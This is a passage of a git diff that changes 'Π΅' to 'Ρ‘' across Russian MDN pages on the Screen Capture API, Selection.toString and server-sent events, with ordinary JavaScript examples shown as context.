-<p>Для Ρ†Π΅Π»Π΅ΠΉ интСрфСйса Screen Capture API, <strong>ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ отобраТСния </strong>- это любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½ API для Ρ†Π΅Π»Π΅ΠΉ совмСстного (ΠΎΠ±Ρ‰Π΅Π³ΠΎ) использования.ΠŸΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΠΈ ΠΎΠ±Ρ‰Π΅Π³ΠΎ доступа Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя содСрТимоС Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΏΠΎΠ»Π½ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, всС прилоТСния ΠΎΠΊΠ½Π°, ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Π΅ Π² ΠΎΠ΄Π½Ρƒ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ, ΠΈ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ (ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΡƒ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΠ², ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π² ΠΎΠ΄Π½Ρƒ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ).</p>
+<p>Для Ρ†Π΅Π»Π΅ΠΉ интСрфСйса Screen Capture API, <strong>ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ отобраТСния </strong>- это любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½ API для Ρ†Π΅Π»Π΅ΠΉ совмСстного (ΠΎΠ±Ρ‰Π΅Π³ΠΎ) использования.ΠŸΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΠΈ ΠΎΠ±Ρ‰Π΅Π³ΠΎ доступа Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя содСрТимоС Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΏΠΎΠ»Π½ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, всС прилоТСния ΠΎΠΊΠ½Π°, ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Π΅ Π² ΠΎΠ΄Π½Ρƒ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ, ΠΈ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ (ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΡƒ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΠ², ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π² ΠΎΠ΄Π½Ρƒ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ).</p>
<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° повСрхности дисплСя.Β <strong>Видимая ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ отобраТСния </strong>- это ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ, которая ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π²ΠΈΠ΄Π½Π° Π½Π° экранС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π΅ ΠΎΠΊΠ½ΠΎ ΠΈΠ»ΠΈ Π²ΠΊΠ»Π°Π΄ΠΊΠ° ΠΈΠ»ΠΈ вСсь экран.</p>
<p><strong>ЛогичСская ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ отобраТСния</strong> - это ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ, которая частично ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ скрыта, Π»ΠΈΠ±ΠΎ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ стСпСни пСрСкрываСтся  другим ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Π»ΠΈΠ±ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ скрытая ΠΈΠ»ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π²Π½Π΅ экрана. Π­Ρ‚ΠΈ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΠΈΒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ прСдоставляСт ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ скрываСт ΡΠΊΡ€Ρ‹Ρ‚ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ повСрхности логичСского дисплСя, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π·ΠΌΡ‹Ρ‚ΠΈΠ΅ ΠΈΠ»ΠΈ Π·Π°ΠΌΠ΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΈΠ»ΠΈ рисунком.Β Π­Ρ‚ΠΎ сдСлано ΠΈΠ· сообраТСний бСзопасности, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ просмотрСн ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΎΠ½ΠΈ Π½Π΅ хотят Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ.</p>
-<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π·Π°Ρ…Π²Π°Ρ‚ всСго содСрТимого скрытого ΠΎΠΊΠ½Π° послС получСния Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° это.Β Π’ этом случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π°Ρ‚ΡƒΡˆΠ΅Π²Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ содСрТимого скрытой части ΠΎΠΊΠ½Π°, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ прСдоставлСния самого послСднСго Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ содСрТимого, Ссли Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ содСрТимоС нСдоступно.</p>
+<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π·Π°Ρ…Π²Π°Ρ‚ всСго содСрТимого скрытого ΠΎΠΊΠ½Π° послС получСния Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° это.Β Π’ этом случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π°Ρ‚ΡƒΡˆΡ‘Π²Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ получСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ содСрТимого скрытой части ΠΎΠΊΠ½Π°, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ прСдоставлСния самого послСднСго Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ содСрТимого, Ссли Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ содСрТимоС нСдоступно.</p>
<h3 id="Бвойства_ΠΈ_ограничСния">Бвойства ΠΈ ограничСния</h3>
@@ -96,7 +96,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
<p>К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ссли ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅Β  {{domxref("MediaTrackConstraints.width", "width")}} для Π²ΠΈΠ΄Π΅ΠΎ, ΠΎΠ½ΠΎ примСнится ΠΊΠ°ΠΊ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π²ΠΈΠ΄Π΅ΠΎ, послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, ΠΈ Π½Π΅ устанавливаСт ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π½Π°Β Ρ€Π°Π·ΠΌΠ΅Ρ€ самого источника.</p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong> ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² спискС источников, доступных для Π·Π°Ρ…Π²Π°Ρ‚Π° API Sharing Screen.Β Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-прилоТСния Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ, ограничивая исходный список, ΠΏΠΎΠΊΠ° Π½Π΅ останСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ элСмСнт.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong> ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² спискС источников, доступных для Π·Π°Ρ…Π²Π°Ρ‚Π° API Sharing Screen.Β Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-прилоТСния Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ, ограничивая исходный список, ΠΏΠΎΠΊΠ° Π½Π΅ останСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ элСмСнт.</p>
</div>
<p>Π’ процСссС захвата экрана машина, которая обмСниваСтся содСрТимым экрана, Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊΡƒΡŽ-Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΡƒ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π½Π°Π», Ρ‡Ρ‚ΠΎ ΠΎΠ±ΠΌΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² процСссС.</p>
@@ -111,7 +111,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
<p>Π”ΠΎ запуска скрипта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±ΠΌΠ΅Π½Π° Π°ΡƒΠ΄ΠΈΠΎ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽΒ  {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠΉ совмСстимости с Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Ρ…Π²Π°Ρ‚Π° Π°ΡƒΠ΄ΠΈΠΎ Π² ΠΏΠΎΡ‚ΠΎΠΊ Π·Π°Ρ…Π²Π°Ρ‚Π° экрана.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ доступ ΠΊ экрану с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ Π·Π²ΡƒΠΊΠΎΠΌ, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π½ΠΈΠΆΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getDisplayMedia()</code>:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ доступ ΠΊ экрану с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ Π·Π²ΡƒΠΊΠΎΠΌ, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π½ΠΈΠΆΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getDisplayMedia()</code>:</p>
<pre class="brush: js">const gdmOptions = {
video: true,
@@ -119,7 +119,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
}
</pre>
-<p>Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎΠ»Π½ΡƒΡŽ свободу Π²Ρ‹Π±ΠΎΡ€Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Ρ…ΠΎΡ‡Π΅Ρ‚, Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚.Β Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡ‚ΠΎΡ‡Π½ΠΈΡ‚ΡŒ, ΡƒΠΊΠ°Π·Π°Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ свойства <code>audio</code>Β ΠΈΒ <code>video</code>:</p>
+<p>Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎΠ»Π½ΡƒΡŽ свободу Π²Ρ‹Π±ΠΎΡ€Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Ρ…ΠΎΡ‡Π΅Ρ‚, Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚.Β Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡ‚ΠΎΡ‡Π½ΠΈΡ‚ΡŒ, ΡƒΠΊΠ°Π·Π°Π² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ свойства <code>audio</code>Β ΠΈΒ <code>video</code>:</p>
<pre class="brush: js">const gdmOptions = {
video: {
diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html
index 63899ce9d7..0e1dede357 100644
--- a/files/ru/web/api/selection/tostring/index.html
+++ b/files/ru/web/api/selection/tostring/index.html
@@ -30,7 +30,7 @@ translation_of: Web/API/Selection/toString
<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ тСкст.</p>
-<p>Π’ <a href="en/JavaScript">JavaScript</a>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ вызываСтся автоматичСски, ΠΊΠΎΠ³Π΄Π° функция, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ пСрСдаСтся, Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ строку:</p>
+<p>Π’ <a href="en/JavaScript">JavaScript</a>, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ вызываСтся автоматичСски, ΠΊΠΎΠ³Π΄Π° функция, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ пСрСдаётся, Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ строку:</p>
<pre class="brush: js">alert(window.getSelection()) // What is called
alert(window.getSelection().toString()) // What is actually being effectively called.
diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
index 0bc2834743..bee580418a 100644
--- a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
+++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
@@ -11,11 +11,11 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events
<h2 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_событий_ΠΎΡ‚_сСрвСра">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ событий ΠΎΡ‚ сСрвСра</h2>
-<p>Server-Sent Event API содСрТится Π²Π½ΡƒΡ‚Ρ€ΠΈ интСрфСйса {{domxref("EventSource")}}.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ соСдинСниС с сСрвСром для Π½Π°Ρ‡Π°Π»Π° записи событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ присылаСт, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>EventSource</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π½Π° URI скрипта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт события. НапримСр:</p>
+<p>Server-Sent Event API содСрТится Π²Π½ΡƒΡ‚Ρ€ΠΈ интСрфСйса {{domxref("EventSource")}}.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ соСдинСниС с сСрвСром для Π½Π°Ρ‡Π°Π»Π° записи событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ присылаСт, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>EventSource</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π½Π° URI скрипта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт события. НапримСр:</p>
<pre class="brush: js">const evtSource = new EventSource("ssedemo.php");</pre>
-<p>Если Ρ„Π°ΠΉΠ» с Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ событий Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ Π΄ΠΎΠΌΠ΅Π½Π΅, Ρ‚ΠΎΒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ создан Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>EventSource</code>Β Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠΌΠΈΠΌΠΎ URI Π΅Ρ‰Π΅ ΠΈ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ ΠΎΠΏΡ†ΠΈΠΉ. НапримСр, Ссли ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ клиСнтский скрипт находится Π½Π° <code>example.com</code>:</p>
+<p>Если Ρ„Π°ΠΉΠ» с Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ событий Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ Π΄ΠΎΠΌΠ΅Π½Π΅, Ρ‚ΠΎΒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ создан Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>EventSource</code>Β Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠΌΠΈΠΌΠΎ URI Π΅Ρ‰Ρ‘ ΠΈ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ ΠΎΠΏΡ†ΠΈΠΉ. НапримСр, Ссли ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ клиСнтский скрипт находится Π½Π° <code>example.com</code>:</p>
<pre class="brush: js"><code>const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); </code>
</pre>
@@ -49,7 +49,7 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events
<p>Код Π½Π° сторонС сСрвСра, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ отправляСт события, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ MIME-Ρ‚ΠΈΠΏ <code>text/event-stream</code>. КаТдоС ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ отправляСтся Π² Π²ΠΈΠ΄Π΅ Π±Π»ΠΎΠΊΠ° тСкста, ΠΎΠΊΠ°Π½Ρ‡ΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ ΠΏΠ°Ρ€ΠΎΠΉ Π½ΠΎΠ²Ρ‹Ρ… строк (<code>\n</code>) . ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΏΠΎΡ‚ΠΎΠΊΠ° событий см.Β  {{ anch("Event stream format") }}.</p>
-<p>{{Glossary("PHP")}} ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅:</p>
